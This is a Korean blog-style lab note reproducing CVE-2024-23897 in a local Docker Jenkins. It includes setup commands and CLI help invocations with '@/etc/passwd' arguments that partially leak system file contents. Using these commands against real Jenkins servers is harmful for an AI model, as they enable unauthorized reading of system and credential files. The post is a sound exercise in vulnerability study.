본문 바로가기

카테고리 없음

Jenkins CLI (CVE-2024-23897)-1

항목 내용
CVE 번호 CVE-2024-23897
취약점 명 Jenkins CLI help 명령어를 통한 임의 파일 읽기
버전 Jenkins 2.441 이하
테스트한 버전 jenkins/jenkins:2.426.2 도커기반
PoC 기반 Jenkins CLI에서 help 명령어에 ANSI Escape 처리가 포함된 파일 경로 사용

 

 

환경 정보

실행 환경 :Windows 10 powershell, docker

 

jenkins 실행

docker run -d -p 8080:8080 --name jenkins-cve \
  -e JAVA_OPTS="-Dhudson.cli.AnsiSupport=true" \
  jenkins/jenkins:2.426.2

 

jenkins cli 다운로드

Invoke-WebRequest -Uri http://localhost:8080/jnlpJars/jenkins-cli.jar -OutFile .\jenkins-cli.jar

 

 

 

아래는 예시

java -jar jenkins-cli.jar -s http://localhost:8080/ -auth admin:admin123 help "@@/etc/passwd"


PoC 시도

결과

ANSI 처리 조건은 충족했지만, CLI가 @@ 경로를 특수 파일 경로로 인식하지 못함

 

대체 명령어로 시도 아래는 예시 입니다. (해당 본인이 만든 계정의 id/pw으로 해야함)

java -jar jenkins-cli.jar -s http://localhost:8080/ -auth admin:admin123 help "@/etc/passwd"

 

결과

부분적인 성공

명령어 파싱 중 문자열 내부의 파일 내용 일부 콘솔에 섞여서 나옴

Jenkins CLI 가 @접두 경로를 ANSI 해석 중 처리하면서 발생하는 현상(..취약점 부분적으로 트리거/ 완전히 된건아님)

 

 

Jenkins CLI에서 안시 ESCAPE 기능은 설정되었고, 일부 파일 출력도 확인

공식적인 @@/etc/passwd는 작동이 안됨

도커 이미지 내부 jenkins 부분적으로 패치가 되었을 가능성 존재

cli ,jenkins 미세 불일치 가능성 존재

  • 해당 취약점을 100% 재현을 위한 방안
  1. Dockerfile으로 jenkins 핵심 파일 포함 구성
  2. 공식 Poc 재현 스크립트 활용 or java 디컴파일 확인

이번에는 취약점이 부분적으로 존재함을 확인....

 

해당 /etc/passwd 경로로 cat 해서 파일 경로들을 보면

"@/etc/passwd"으로 help 명령어로 /usr/sbin:/usr/sbin/nologin 으로 나오고 

root:x:0:0:root:/root:/bin/bash 가 나오는 것을 확인 할 수있다......

 

 

 

추가적으로 조사해서 학습을 해야 할 내용

CVE-2024-23897 : 해당 cve에 대한 이해도를 더 높일 필요성이 있다.

Jenkins CLI의 help 명령어를 알아 오는 것 그리고 Jenkins CLI의 이해와 젠킨스 제품에 대한 이해

ANSI escape 공부해오기

java 디컴파일을 확인해보기 PoC 재현 스크립트 찾아보기 깃 조사